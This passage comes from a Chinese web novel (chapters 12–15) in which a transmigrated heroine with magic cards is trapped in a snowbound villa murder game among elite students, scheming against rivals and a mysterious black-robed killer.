爱里街这条路笔直地延伸至远处,江挽月缓慢行走,穿来的第一天,她也是这样走在这条路上。
困扰多日的事件终于告一段落,她独自提交了任务,至于陆樾之那边会不会成功通关,她不需要考虑这些。
陆樾之来历不明,与系统局更是联系紧密,就算没完成任务,他也不会死在这个世界。
街道前方,远远地站着一道黑色的身影,江挽月定睛一看,认出那人身份,瞬间将月刃用力掷出。
长刀被黑袍男子横在胸前,奋力挡下这致命一击,金属碰撞间,发出一声清脆的铮鸣。
江挽月趁机甩出魔法牌,团团火焰在地面上浮起,将黑袍男子困在中心。幽蓝冷火如同凶猛的野兽,飞奔着扑向猎物,将其吞没。
男人发出痛苦凄切的叫喊,江挽月冷眼旁观,不为所动。
幻化出来的火兽,突然间被压制下来,数十支光剑破空而来,形成剑索阵束缚住火兽。
黑袍男子得到喘息的机会,瞬移出法阵范围。江挽月脚尖轻点地面紧追其后,今日不能再让黑袍男子跑掉。
黑袍男子逃至公交站台,多日不曾出现的公交车此刻却凭空出现,江挽月追上车,车厢内却空无一人。她四下搜寻一番,连驾驶位都空空荡荡。
江挽月心道不妙,转身正要离开,车门却诡异地自动合拢。她眼前一黑,大脑不受控制地发晕。
江挽月跌坐在皮革座位上,昏迷前,只听见模糊的电子音。
“结算成功,特殊副本事件——《优等生派对》即将开启。”
12. 优等生派对(一)
大巴车一路往北,天气渐渐转冷,朔风凛冽,惨白的冬雪漫山遍野。
江挽月是被生生冻醒的,她迷迷糊糊地睁眼,低头一看,身上的衣服不知何时换了模样。
蓝黑色的学院制服,款式与零号世界的魔法学校校服很是相似,只是颜色和配饰细节略有不同,胸口的名牌上只刻着姓氏,一个不算明显的“江”字。
系统又将她送进新的任务事件里,江挽月望向玻璃窗里的人影,她此刻的相貌比上一个任务年轻几岁,自己这次的身份应该是学生。
江挽月起身,扶着椅背在颠簸中站稳,她环视一圈,心情稍有缓和,车厢再无其他人,陆樾之估计还被困在上一个任务事件。
山里天黑得早,汽车缓缓行驶至半山处,停在一栋庄园前。铁艺大门和栏杆上都装饰着彩灯和气球,一副派对现场的打扮。
江挽月下车,庭院两侧早已亮起路灯,雪花在灯下飞旋,飘落在地。昏黄的光线照着蜿蜒的石子路,路的尽头矗立着一栋古典的欧式别墅。
身上的单薄衣物难以抵御山中雪夜的严寒,江挽月不由自主地加快了脚步,再走近些,她听见室内传来的悠扬欢快的音乐声。
巨大的落地窗被纱帘遮住,依稀能看清屋内的人影。江挽月站在别墅门前,伸出缩进衣袖里的双手,凑近嘴边,和出一口热气。
等冻僵的手指缓和些许,她屈起指节,轻轻叩响黑色的金属门。
别墅内的喧哗声渐渐平静下来,大门被人从内里打开,两条视线相交。
江挽月瞳孔收缩,睁大双眼,平淡的脸上出现一丝裂痕,很是意外的表情。
再次相见,谢旻不再是之前的高中生打扮,虽然身穿学院制服,气质却比之前成熟了不少,眼神里的那股侵略性也减弱许多。
“江学妹迟到了哦。”他嘴角上扬,扯出一个僵硬的笑容,似乎并没有认出她。
两个任务事件不仅跨越空间,还跳跃了时间线,这次的任务时间离上次至少过去了两年。
江挽月现在拥有新的身份,她迅速调整好情绪,回以礼貌的微笑,越过谢旻进屋。
客厅色调以黑、金二色为主,桌面上摆满甜点与酒水,华贵的家具上依旧绑着许多派对装饰。
她刚一进屋,十几道目光纷纷落在门口,只是表情各有不同。
善意的、恶意的、看戏的、无视的……无一例外在场所有人都穿着同样的制服。
江挽月察觉到屋内气氛微妙的转换,眼前这群人似乎自动分割成三个小团体。
谢旻和他身后的两个男生围坐在客厅中央的棋牌娱乐区,他脸上挂着邪性的笑容,一副看热闹不嫌事大的模样。
左侧地台的壁炉旁,三位女生端着茶杯,表情如出一辙的淡漠,只有坐中心位女生望向江挽月,眼眸闪过一丝光亮。
右侧的长沙发上坐着一女两男,皆是邪魅狂放的气质,眼里带着明显的敌意,上下打量着新来的成员。
角落吧台的高脚凳上,坐着两个身形相差无几的男生,一人指尖夹着香烟,另一人戴着黑色手套。
江挽月视线顺着手臂上移,晦暗不明的暖光灯下,陆樾之的脸隐匿在缭绕烟雾中,他面无表情地听着旁边的人讲话,丝毫不介意那人吸烟的动作。
她心中讶然,陆樾之竟然出现在这里。
江挽月目不转睛地观察他的举动,或许是脱离了之前的人物设定,他的气质转变很大,恢复了之前那副面瘫脸,一副生人勿近的模样。
从她进门,陆樾之没有说过一句话,坐在高凳上,静静地听旁边的男生讲话。
江挽月死死盯着她的动作,陆樾之也毫无反应,连眼神都没望向这边。
她屏息凝神,魔法牌保存在独立空间中,即便身上的服装改变,也能随时召唤,她挑选出一张窃听牌,默念法咒,可惜听到的只是模糊的噪声,陆樾之提前设下防备她的阵法。
不过一天不到,陆樾之彻底被背叛她。
江挽月中断阵法,嘴角上扬:“陆樾之,过来。”
全场的目光都盯在江挽月身上,由震惊转向不解,她却丝毫不怯场,浅色眼眸里满是攻击性,像是发现了从自己手中偷偷逃跑的猎物。
陆樾之面若寒霜,冷得与屋外的大雪如出一辙。他没有反应,只是眼含深意地望着他,很显然这次他选择站在江挽月的对立面。
“人都到齐了吧。”陆樾之身边的男生及时地出来解围,他眉眼温和,脸上挂着亲切的笑容。
听见他开口,江挽月才将目光落在这位皮囊帅气的男生身上。
他的服装和江挽月有所不同,胸口处的金属徽章多了几个,从众人的反应可以推断出他在这群学生中地位不低。
谢旻手中握着牌,坐在地毯上,他嬉笑回答道:“到齐了,会长。江学妹迟到,不该小小惩罚一下吗?”
江挽月狠狠瞪了他一眼,这人果然死性不改,逮到机会就要故意给她惹麻烦。
会长神色一僵,抬眼便撞见江挽月明显愠怒的眼色,他讪笑道:“江学妹是新生,咱们还是不要为难她。”
听到会长的拒绝,谢旻撇撇嘴,故作浮夸地长叹一声,继续转过身和朋友打牌。
时钟指向傍晚八点,到了晚宴时间。
会长带着一行人穿过长长的走道,江挽月步伐缓慢,落在人群末尾,好奇地凝视着两侧墙壁上空荡荡的相框,不知是谁将内里镶嵌着的物品撤了下来。她望向人群前端,陆樾之今天一直在躲着她。
江挽月不断地在脑海中翻阅有关这个任务的信息,可是很不幸,她几乎没能再得到任何提示,甚至她连自己此次是何身份都不清楚。
餐厅里除了她和陆樾之外,还有十人。
经过江挽月刚才的经过一番观察,她们十二个人都是来自同一所学校,在这栋半山别墅举办派对。
十二个互相不算熟悉的陌生人,封闭的暴风雪山庄,短时间内生活在同一个屋檐下。
以江挽月对这个诡异世界的理解,她想平安度过这次派对,几乎是做梦。
这次更是大逃杀,江挽月将客厅内的所有人都扫视一遍。她这次开局不利,若不提前做好准备,只怕这十个人以后会合作围攻她,不如自己先发制人,将这伙人解决掉。
江挽月视线逡巡,寻找方便动手的目标,她视线不
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经意间与长桌尽头的女生对上,那人见偷窥被发现,慌忙别过了头。她的身旁正好多出一个空位。
江挽月抓住机会,主动靠近女生,坐在她身侧的座椅上。
“言学姐?”江挽月瞥见她的铭牌,这些衣服上别着的配饰似乎与学生本人有关,言学姐和会长应该是同一届,身上都有相同的星星徽章。
言喻心事重重,一向温和有礼的她罕见地失了礼数,直到江挽月二次提醒,她才反应过来,尴尬地笑着问好。
“江学妹。”
言学姐对自己的态度不冷不热,甚至还有点避之不及的眉头。江挽月不再刻意和她搭话,默默观察其他人。
餐桌上烛火跃动,会长居于主位,侧边分别坐着谢旻与陆樾之,这场晚餐气氛还算活跃,除了靠近门口的江挽月这端。
她和言学姐两人都没有参与进这些人的话题中,现在自己的思绪里,没有胃口只好默默地折磨食物,将肉切得稀碎。
别墅的房间很多,二三楼几乎和酒店的格局一样,长走廊两侧分布着房间。
二楼有两间双人房,一间单人房,算上江挽月,她们这一行人里有五个女生,那就意味着必须有一个人落单,独自居住。
五个人面面相觑,不知道该如何分配,江挽月没有前身记忆,与其他人住在一起也不方便秘密行动,她主动走进二楼唯一的单人房。
房间里装修深有复古格调,矮柜上还放着红色的老式电话,江挽月手指转了几个数字,那电话突然间响铃。
她将信将疑地接起话筒,这电话表面都蒙着厚厚的灰尘,显然主人家并不使用。
怎么会突然间接到电话。
“各位优等生你们好,我是此次派对的邀请方,各位在学校间获得了荣誉,作为奖励你们可以尽情地在这栋房子里玩乐,不用担心浪费。”
合成人声播报结束,电话并未被挂断,而是换了一道雌雄莫辨的声音。
“你不是优等生,你是混迹其中的劣迹生,请隐瞒好你的身份和姓名,找到你的同伴,顺利在派对里,活、下、去。”
那人语气里透着疯狂,说到最后三个字时刻意地拉长尾音,阴森森地邪笑。
江挽月没等它啰嗦完,便郁闷地将电话挂掉,系统肯定在暗中针对她,十几个人里偏偏她被选中成为劣迹生。
她望着那张凭空出现的身份证明走神,那张卡上面只写着身份,却没写姓名。
江挽月眼眸微动,心中做好打算与其和这群人斗得你死我活、费尽力气,还不如想点轻松的计划。
陆樾之是金手指,一直在暗中享受系统照拂,她直觉他此次的身份很有可能就是更具优势的优等生。
她体内还有心魔残留,一对一破绽不大,可陆樾之如今与自己为敌,他若是与其他优等生联手,那江挽月的胜算也是未知数。
若是能将他的身份证明抢过来,收入囊中。有了优等生假身份,在派对结束前,她将矛头转到陆樾之那边,正好能洗脱嫌疑。
如幽灵般空灵的声音回荡在别墅里,江挽月听清它重返三遍的指令。
“现在请投票选择今日的派对游戏。”
13. 优等生派对(二)
大雪一直下到后半夜才停,这栋别墅虽然装修豪华,但有些年头没有住过人,电路早已老化。夜里断电,房间里的暖气都供应不了。
江挽月在房间里四处翻找,才在衣柜里翻出一件旧外套。天气太冷了,她比计划里的时间延迟了十分钟。
走廊被黑暗吞噬,看不见一丝光亮,江挽月擅长夜行,轻手轻脚地上到三楼。
陆樾之和她一样,住在靠楼梯口的单人间。房间门被他从内部反锁,江挽月早有准备,从大衣口袋中抽出她画好的魔法牌。
她结阵念咒,脚下浮现黑色的法阵图案,随着一道微弱亮光闪烁,江挽月瞬间移动到陆樾之屋内。
陆樾之房间比她那间还要更冷一些,连窗户都没关,雪花飘落在地板上,留下一摊水渍。
江挽月微微颦眉,她在房间里绕了一圈,连浴室都检查过,依然没有看见陆樾之的人影。
已经是深夜,陆樾之却不在自己的房间,江挽月在一旁的靠椅上坐下,双臂交叠,不悦地看着紧闭的房门。
房门反锁,夜不归宿,陆樾之也使用了瞬间移动魔法。
上一个任务,陆樾之在江挽月面前从未使用过魔法,难道陆樾之也和她一样,有特殊身份,所以提前出门布局。
等了许久都不见回来,江挽月烦躁地起身,她凑近门上的猫眼,走廊里闪过一道黑影。
江挽月紧紧贴在门板上,试图透过那小小的洞口,看清那人相貌。
那黑影明显是个成年男性,他就要经过陆樾之门口往楼下走去,只可惜走廊光线太暗,她除了比较熟悉陆樾之的身形,这些新见面的同学一个也记不住。
那黑影缓步靠近,关键时刻,江挽月的眼皮上猝不及防地覆上一只被冰冷骨感的手,她彻底失去视野,被人带着向后退了几步。
直到黑影离开,陆樾之才松开她,手背在身后熟练地戴上手套。
江挽月借着窗外的月光,看清他的脸,陆樾之紧抿着唇,一言不发。
她的目光紧紧锁在男生脸上,不放过他任何一个微表情:“这么晚你不睡觉,出去干什么?”
陆樾之单方面地与她冷战,语气里带着刺一般:“没什么。”
做不成卧底在她身边的搭档,不如换个方向做给她添乱的敌人,反正江挽月用不上他,待在她身边反而蹑手蹑脚不方便行动,还每天要受她的气。
好脾气地问他竟然敢拒不配合,就别怪她采取更强硬的手段。江挽月冷笑一声,背在身后的手偷偷召唤出月刃。
月光照在短刀上,金属反射出一道晃眼的白光,江挽月握着刀,步步紧逼。
陆樾之反应不及,小臂上被一道口子,痛意顺着神经传到大脑。他连忙后退,侧身躲过江挽月的第二刀。
江挽月没有就此解决他性命的意图,见他得了些小教训,及时停下进攻的动作。她习惯性地将月刃收回衣袖中,抬脚踹向陆樾之的膝盖弯。
陆樾之单膝跪地,抬眸眼含恨意地望着她。
江挽月俯视着低位的男生,嘴角勾起愉悦的笑容:“我再问你最后一遍,你出去做了什么?”
陆樾之嘴唇都被他自己咬出血,他双目猩红:“去杀你,这个结果满意吗?”
江挽月听完回答不怒反笑,奖励似的拍拍他的下颌:“真听话,下次也要这样诚实地回答主人,明白吗?”
“身份卡在哪?”
陆樾之紧绷的身体渐渐放松,从口袋里翻出一张卡:“你确定要和我换身份?”
江挽月看一副他满不在乎的表情,眼眸微眯,接过身份卡。
事与愿违,那卡上写着的根本不是优等生的表彰,而是与她一样的劣迹学生处分。
江挽月随手将那张卡扔在地上,面带愠色地双臂叉着腰,她紧咬牙关,心中愤愤不平。
陆樾之和她是同一种身份,她的抢夺大计不得不转换新目标。除此之外,按昨天那通电话的意思,自己还得护着他在派对里活下去。
江挽月狠狠瞪了陆樾之一眼,脚下每一步都似乎踩着怒火,愤然离去。
陆樾之神色淡定,等她离开后才从衣服内侧的口袋里掏出第二张身份卡。
通体黑色的卡片上印着烫金的三个大字“优等生”。
他眼里闪过狡黠的光,拇指摩挲着字迹,又将卡片收回原处妥帖放好。
天色微亮,一道尖叫声从地下室传出,一直回荡到江挽月房间。
她昨日从三楼回来,一反常态地倒床就睡,大脑迷迷糊糊梦了许多事,突然被吵醒神色明显不悦。
江挽月换好衣服下楼,客厅里站着一圈人,各个情绪异常。
一头粉色波浪卷发的霍学姐坐在与昨天相同的位置,只是表情不再明艳。她握着玻璃杯,身体止不住地颤抖。冒着热气的水洒出来,烫得她皮肤泛红。
陆樾之从地下室入口出来,正好对上江挽月探知的视线,他不着痕迹地移开,那人却直接堵在他面前。
“发生什么事了?”江挽月抬手将陆樾之拦下,望向他身后昏暗的下沉楼梯。
陆樾之长叹一口气,幽幽道:“会长被人杀害,已经确认死亡。”
江挽月瞳孔猛地放大,神色讶然。
会长离奇去世,看来有人比她还心急,第一天晚上就开始杀人。
她扫视一圈,所有人的反应都看起来合理正常,都是相同的惶恐害怕。
江挽月绕过陆樾之,弯腰进入低矮的地下室通道。
地下室四面皆由石块砌成,只有一个入口。会长的尸体并无激烈搏斗的外伤。
他双手合于心脏处,面色平静祥和,躺在地板中央。头部和侧身摆放着三根已经熄灭的蜡烛。
江挽月双手合十,掌心凭空出现一张魔法牌,她轻轻转动手掌,卡牌消失幻化成红光。
江挽月阖上双眼,抬手将那泛着红光的手掌贴在眼眶处。她一睁眼,那道光瞬间消失不见,取而代之的是她血红的眼瞳。
果不其然,木地板上画着一道道繁复冗杂的线条,格外标准的黯系魔法阵。
会长也死于黑袍男人之手吗?
江挽月垂下眼帘,她追着黑袍男子上车后没发现他的踪迹,又十分不巧正好碰到《甜蜜之家》任务完成结算,醒来就被送到此处。
这背后一定有那位黑袍男子从中作梗,他躲在暗处,除了第一次交手,此后都是对她刚接触的人物狠下杀手,再
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没有与她正面交锋过。
江挽月猜不透他的行为,也不愿意费精力去了解他怪异的想法。黑袍男子再次出现,肯定会躲藏在这栋别墅里,又或者他是别墅里的某一个人……
木楼梯传来嘎吱嘎吱的响声,江挽月回头望向门口,陆樾之正带着一行人进入地下室。
同学们虽然都成年,但毕竟第一次经历这种离奇诡异的谋杀事件,颤颤巍巍地挪着步子,靠近会长尸体旁边。
霍学姐是第一个发现会长死亡的目击证人,她此时情绪暂时稳定下来,犹豫着提出自己的建议:“怎么办,要不报警吧?我不想参加派对了。”
谢旻罕见地收起顽劣的笑容,他托着下巴,一脸正经:“不行,我刚试过,没有信号。”
霍学姐语气虚浮,脸上满是担忧:“那怎么办?离派对结束还有好几天,难道我们就坐以待毙,等凶手把我们都杀死吗?”
这番话狠狠地在众人心中敲了一记警钟,会长平时身体素质极好,前一天晚宴时也正常,显然是死于他手。
好好的一场学生派对,闹出人命来,谁都不想再待在这里。
可当初邀请函上也白纸黑字地写过,提前离开会受到处罚,现在来看,这个处罚恐怕也和她们的性命相关。
众人的目光纷纷投向人群之外的言学姐,除了会长之外,她是这群人里领导地位最高的学生。
地下室突然安静下来,言喻从放空状态里淡出,眼神里闪过一丝茫然,望着她们:“抱歉,说到哪里了?”
霍学姐嘟着嘴,语气不满:“你怎么成天发呆,快想想办法。”
言喻听到她的抱怨并没有任何情绪波动,依然是一张淡然如水的秀丽脸庞:“走一步看一步吧,我想,我们暂时也离不开这栋别墅。”
听到她的话,学生们不约而同地哀声载道,一行人回到一楼,别墅外那辆送她们前往的大巴车果然消失不见,大门更是紧紧闭合,任他们费尽力气也没能打开。
恐惧,彷徨如恶种一般在每个人心里生根发芽,多日之后便会结出猜忌、谎言与残杀的果实。
江挽月从言学姐发言起,视线便一动不动地落在她身上。
言学姐气质如同雨后清荷,乌发黝黑发亮,眉眼如暖阳般让人不自觉地感受到温暖亲近,倒是让她回想起一位许久未见的故人。
江挽月眸中染上落寞的色彩,她好想念那位故人,她死去的挚友。
言喻只是不经意地一瞥,便正好撞见江挽月失神地望着自己。
她心中疑惑,缓缓走近几步,挥挥手:“江学妹,你在想什么?”
江挽月反应过来迅速回神,嘴角扬起礼貌的微笑,说出的话语却暗有所指:“没什么只是觉得言学姐情绪很稳定。”
言喻顿时后悔主动招惹这位学妹,她脸上又浮现出同昨日一般的慌乱神色,实在与地下室里沉着冷静的她判若两人。
江挽月望着她离去的背影,惆怅深思。
看背影似乎与那人更像一些,可再怎么形似,她们也不是同一人。
言学姐面对会长之死尚且能淡然自若,可偏偏遇上她就慌乱无比。
种种反常之下,言学姐又有什么秘密……
14. 优等生派对(三)
江挽月正欲上楼回房间,却被一只手臂拦住去路,她眉头微皱,不耐烦地轻啧一声。
谢敏嬉皮笑脸地盯着她笑,毫不介意她退避三舍的表情:“跟我来。”
说完,他便自顾自地走到角落。
江挽月站在原地,思考两秒后循着他的路线来到楼梯转角处的杂物间。
她一进门就被灰尘扑个满怀,眉眼皱成一团,心中对谢旻的不满愈发强烈。
“叫我来这里做什么?”江挽月没好气道。
谢旻不语,眼神流连在她的面容上,一会回忆的模样。
江挽月被盯得很不自在,谢旻该不会认出她上一个身份了吧。她踢向男生的小腿骨,满是命令的口吻:“问你话呢?”
谢旻被她这一脚踹得清醒过来,故作浮夸地叫唤两声求饶,眼里却带着审视:“江学妹很是眼熟,我们之前是不是在哪里见过?”
“没见过。”江挽月说罢转身要走。
“别这么紧张,”谢旻单手撑在墙壁上,歪着头,“江学妹知不知道爱里街?”
江挽月面上平静,心脏却猛地一颤,冷若冰霜的眼神审视着面前的男生。
她的身份,相貌和年龄都与上一个任务大不相同,谢旻不应该认出她才对。江挽月抬手将发丝别到耳后,露出全脸,她声音带着丝丝寒意:“不知道,谢学长是把我错认成其他人了吗?”
谢旻得到否认,眼中的笑意并未收敛,真诚地说道:“那倒没有,我记性很好。”
即便只有短短一秒,江挽月还是捕捉到他笑眼里闪过一丝算计的光芒。
她万万不能将自己的身份暴露给谢旻知道,看他的表情显然没有被这番说辞糊弄过去。
“谢学长故意叫我来偏僻的地方,就为了说一句眼熟?”
“当然不止这些。”谢旻拍拍手掌,掸落掌心粘上的灰尘,斜睨着她。
“我昨晚看见你上去三楼,你去找谁?还是说……”他俯身凑到她耳侧,语气森寒,不怀好意地揣测,“是你杀了会长。”
江挽月不着痕迹地拉开两人之间的距离,模仿他的语调:“谢学长你没有证据就想把脏水泼到我这里,是不是做贼心虚呢?”
谢旻想诈她套话,手段还嫩了点,江挽月丝毫不上当,没有陷入他的逻辑里。她自信昨晚的行动天衣无缝,不可能被人发现还不自知。
客厅里传来呼喊声,谢旻的室友正在四处寻他。江挽月挑衅似的扬起眉梢,满眼轻蔑,气势上压得谢旻毫无反击之力。
最终,谢旻败下阵来,用力握上门把手,转身离去。
等到门外的两道男声渐行渐远,江挽月脱去虚假的表情,脸色瞬间冷下来。她眼底一片幽深,盯着那道未合拢的缝隙。
今晚的计划要换个目标才好。
惨淡的阳光照在一张张年轻的脸庞上,衬得众人愈发苍白。一行人从地下室查到顶层阁楼,都没有找到第十三个人的踪迹,这是个极其不满的发现。
木头时钟准点报时,到了该用早餐的时间段。昨晚别墅停了一整晚电,同学们都没睡好,一大清早又接到会长死亡、别墅里藏着杀人犯的噩耗,饶是心理素质再强大,都难以定下心用餐。
长桌上属于会长的席位空着,众人都选择了和昨日相同的位置。欢乐气氛不再,死寂般的沉默如冷空气般侵袭,让侥幸存活的人都胆战心惊。
江挽月仿佛事不关己,没有丝毫害怕的神色,依旧淡然地吃着早点。
食物都快变凉,桌上的其他人都没有用餐。言喻长叹一口气,缓缓提醒道:“我们还要困在这里好几天,厨房的食材我翻过一遍,用不了三天就会全部耗尽。”
“我能理解你们现在没有食欲,但能吃一点是一点,不要浪费。”
听她说完,一大半的同学开始用餐。
突然,座椅在地板上摩擦的声音打破了宁静。
霍学姐旁边那个不算起眼的男生愤然起身,金属叉子被他甩在白瓷盘上,发出尖锐的噪声。
男生身材清瘦,眼尾微微上挑,他此刻狭促地眯着眼,满是质问的语气:“言学姐的意思,是让我们一群人在这里等死吗?”
霍学姐闻言表情瞬间一滞,不断对站着的男生使眼色,示意他就此作罢。她指尖扯着他的衣袖,试图将他拽回座椅上。
江挽月望向言学姐,她依旧淡定地切着食物,连头都没抬,语气似水一般毫无波动:“余部长有其他办法不如直说。”
受过优等生表彰的学生多半都进入过学生会,余学长是外联部部长,之前和会长走得很近,关系斐然。如今会长身死,他难以接受,情绪激动些倒也正常。
“我和几位同学从上到下都找过,没发现凶手的影子,恐怕杀死会长的凶手,就在你们之中吧。”
“阿余。”霍学姐连忙捂住他的嘴,不让他继续乱说,“你冷静点。”
“我怎么冷静,言学姐之前就和会长有过矛盾,现在出了人命她一点反应都没有,还拦着我们不许离开。”余学长脸色通红,血气涌上大脑,说出的话愈发混乱,“种种证据难道不能断定她就是凶手吗?”
“你够了!”霍学姐猛地推了他一掌,“她昨晚和我一间房,我能做证她没有作案时间。”
余学长无话可说,甩开她的手,气愤坐下。
闹剧匆忙落幕,余学长的怀疑却深深渗入每个人心间,搜寻过程不只有余学长一人,她们都参与其中,结果如何也都清楚。
言学姐和会长不和,剩下的这些人里多多少少也有互相看不顺眼的。
气氛降至冰点,随时可能爆发。谢旻居于上席位,拿着叉子轻轻敲击几下玻璃杯。
众人的目光都被他吸引过去,谢旻嘴角上扬,勾起幸灾乐祸的讥笑:“按霍学姐的说辞,那我们住双人间的人岂不是全部脱去嫌疑,大家都能给彼此做证。”
江挽月微微蹙眉,警告的眼神如同利剑,恨不得扎透谢旻。她视线向右偏移,对上陆樾之的脸。
在座的十一人里,只有陆樾之和她住在单人房。
江挽月察觉到有几道审视的眼光落在自己身上,她握紧拳头,脑海中灵光一闪,脸色阴沉地回望着众人:“我记得会长选的不是单人房,那嫌疑最大的人不该是他的室友吗?”<
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陆樾之心领神会,沉默许久的他顺着江挽月的思路将靶子又抛回谢旻手中:“会长昨晚和谢学弟一间房。”
谢旻还未回应,余学长便急不可耐地跳出来,反驳道:“不可能,阿谢和会长是好友,他没有杀人的理由。”
言学姐身旁坐着的那位戴着细框眼镜,气质如兰的女生缓缓起身。
“兄弟都能反目,更何况朋友。我看余部长的嫌疑也很大,”她不畏余学长恶意的打量,眼皮耷拉着,乍一看很没有精神,幽幽开口道,“学校里谁不知道霍学姐心慕会长多年,你因爱生恨,杀死会长是不是也算作案动机?”
“你血口喷人!”余学长强压下怒火,额上的青筋都暴露出来。
话题中心不落在江挽月身上,她颇有兴味地隔岸观火。她第一天观察的结果果然不错,这十二个人并不和谐,小团体之间互相对立、互相制衡。
江挽月这次没有原人物的记忆,只能凭她们的反应来划分阵营。
“好了。”言喻及时打断针锋相对的两人,抬手拍拍身旁为她出头的薛同学,环视众人一遍后,才缓缓发言,“我不会强迫你们,如果不愿意按照我的计划来,你们可以想办法离开,散会。”
言学姐说完,长桌上的学生都面面相觑,一副不知道做何选择的模样。
言喻理好衣服上的褶皱,起身离席,薛同学和另一位女生相视一眼,也跟着她的步伐离开。
江挽月坐了片刻,本想听听剩下这帮人的计划,可始终没能确定下方案。
她撇撇嘴,临走前特意看了眼处于中央的霍学姐,那人明显心不在焉。
江挽月眉梢轻挑,记住她的反应,随即离开餐厅,回了自己房间。
余学长一整个白天都带着人在入口处砸门,甚至落地窗都尝试过,可那玻璃异常坚固,只留下一个小白点,毫无裂痕。
江挽月躺在床上被这群人吵了一天,半夜醒来时还生着闷气。
她今夜要去杀谢旻。
最开始,江挽月以为谢旻会和余学长站在同一阵线,可她猜测错误,谢旻并没有加入余学长的计划里,并且他对余学长的态度也不冷不热,两人的关系似乎一般。
江挽月施法切断别墅的电闸,她正要上楼却听见一串轻盈的脚步声。
她身形一闪,躲进昏暗的墙角,那人影刚靠近便被她摁在扶手上,可谁知那人身手不凡,竟然巧妙地挣开她的束缚。
江挽月当机立断抽出一张魔法牌,手掌捂住那人的口鼻。
细微的声音从指间缝隙中溢出,听起来是个女生。
江挽月刚一愣神,便被那人得了机会,刀刃刺破空气,直直朝脖颈扎去。
她来不及多想,本能地侧身,未能完全躲过,颈部侧面被划开一道浅浅的伤口,血珠沁出晕染在领口。
江挽月气上心头猛地踹向那道身影。
那人连连后退,脚下一个不稳,竟直接从二楼摔下去,一声巨响。
一楼窗帘未关,自然光照进屋内,比二楼亮堂不少,江挽月这时才看清她的脸。
伤她的人……竟然是言学姐。
15. 优等生派对(四)
言喻从二楼楼梯口翻滚到一楼,撞到花瓶架才停下来。花瓶跌落在地,碎片四处飞溅,彻底打破了深夜的静谧。
她疼得脸色惨白,却被江挽月施了禁言魔法,发不出一丝声音。
噪声已经惊醒对面房间的同学,在门把手转动的瞬间,江挽月再次躲进阴影里,指尖夹着一张魔法牌,轻轻吹出一口气。
卡牌化为灰烬,落地便消失。她身后的墙壁上浮现出黝黑的虚空漩涡,江挽月长腿往后一退,整个人穿过墙壁,回到卧室。
楼下爆发出一阵慌乱地叫喊。
“言学姐受伤了,快来人!”
“凶手又回来了!”
江挽月一边窃听屋外的动静,一边脱下沾血的校服衬衫,从衣柜里翻出睡衣换上。
临出门前,她照着镜子刻意地揉乱发型,直到伪装得万无一失,才解开门锁。
别墅的电闸已经恢复,亮堂的客厅围满了人,言学姐额头多出一道血淋淋的伤口,血液顺着脸颊流下,嘀嗒落在木地板上。
霍学姐跪坐在她身侧,手足无措地将她扶起,抱在怀中。
江挽月巧妙地混入其中,言学姐陷入昏迷,正好可以瞒住她此前施下的禁言魔法。
“有急救药品吗?”薛同学是医学系,面对这种突发情况要沉着许多,她蹲下身,仔细地检查伤口。
霍学姐这才反应过来,语气急促地命令:“你们都愣在这里干什么,快去找医药箱啊!”
江挽月退出人群,双手背在身后,在掌心画下破除魔法的图案。
检查完毕,薛同学松了口气,紧锁的眉心舒展开来。言学姐额上的伤口并不深,只需要简单止血便可。
陆樾之一脸阴沉,单手提着个金属密码箱,那箱子左面贴着红十字的标志,右面却是一个惊悚的黑色骷髅头。
江挽月挑挑眉,饶有兴味地打量着他手里的密码箱,问道:“你从哪里找来的?”
“对啊,我们每间房都找了,也没发现。”余学长跟着附和道。
这箱子完全不似正常的医药箱,那上面多出的骷髅头实在诡异。众人也意识到了这点,纷纷望向陆樾之,等待他的解释。
陆樾之神色淡然地将有些下滑的手套扯回原位,正对上江挽月的视线。他缓缓开口,声音清冷而有磁性:“地下室。”
听到这话,后排胆小的几位同学都倒吸一口凉气。会长的尸体还在地下室里,那扇矮门上了锁,他们翻找的时候遗漏了那处。
霍学姐没心情听她们讨论箱子的来历,一把将它拉进怀里。她低着头,手指在密码盘上摸索,刚一触碰到感应区,箱子便自动打开。
“啊——”霍学姐惊呼一声,跌坐在地板上,她下意识地推开箱子。
金属像随着惯性,又回到玻璃茶几中央。江挽月抬眸向内里望去,那箱子不仅装着救命的药品,还存放着杀人利器。
枪支,匕首,毒药……一应俱全。
她眼里闪过一丝冷光,这些东西出现在完全封闭的别墅内,幕后之人的意图昭然可见。
不稳定的因素越来越多,只会让原本平静的假象彻底崩坏。
“这……怎么会有枪啊!”余学长凑过来一看,面色惊恐地大叫道,“这不会是凶手的作案工具吧。”
江挽月瞥了他一眼,会长死于魔法,这些东西更可能是用来诱导她们自相残杀的引子。
她垂下眼眸,将一切猜想都隐于心底,闭口不言,径直从箱子里翻出纱布,递到薛同学手中。
“先给言学姐包扎吧。”江挽月抽出手帕,动作轻柔地擦拭干净昏迷那人下颌处的血迹。
于无人能见的角度,她借着手帕遮挡,偷偷覆上言学姐的嘴唇,不露痕迹地解开禁言魔法。
众人将言学姐送回卧室,又重新回到客厅,商讨这些危险物品该如何处置,只留下霍学姐一人留下照看。
直至黄昏,言学姐才悠悠转醒。
言喻刚睁开眼,便被西下的阳光闪到,她艰难地转过头,映入眼帘的却是江挽月的身影。
她顿时瞪大眼睛,面对江挽月,她总是莫名的慌乱恐惧。
“醒了?”江挽月倚着墙壁,嘴角勾起一抹玩笑似的笑容,看到她如此害怕,倒是让负伤的自己心情略有好转。
她提前支开了守在床边的霍学姐,拦下来前来探望的薛同学,空荡的卧室内,只留给她们二人对峙。
“嗯。”言喻声音沙哑,单调地吐出一个音节。
江挽月站直身体,缓缓靠近床边,悠然的就像在散步,欣赏窗外夕阳残照的景色。
言喻渐渐恢复往日的沉稳冷静,突然,一柄利刃划过她耳侧,几缕发丝断裂开来,落在掌心处。
江挽月收回月刃,居高临下地望着床上的女生,这是她给的一次小小的警告:“待会儿该怎么说,言学姐心里想必已经有数。”
言喻手指蜷缩,将被子牢牢攥住,她听得出这句话里的威胁。
良久,她长叹一口气,轻声说道:“我明白。”
目的达成,江挽月也不多留,转身握上门把手,身后却传来一句轻得几乎难以听闻的话语。
“你会杀我吗?”言喻望着她的背影,喃喃道。
其实这个问题早有答案,江挽月回头,视线交错间,她恍然发现言学姐的眼睛里多了一抹悲伤的色彩。
好奇怪,明明她们才刚认识。
江挽月移开目光,沉思几秒后回答她的问题:“起码今天不会。”
客厅里那群人讨论了一整天,也没得出一致的结论。
密码箱想要上锁,必须有一个人亲自设下密码后扫描指纹,若不锁住,这些杀人利器人人可用。
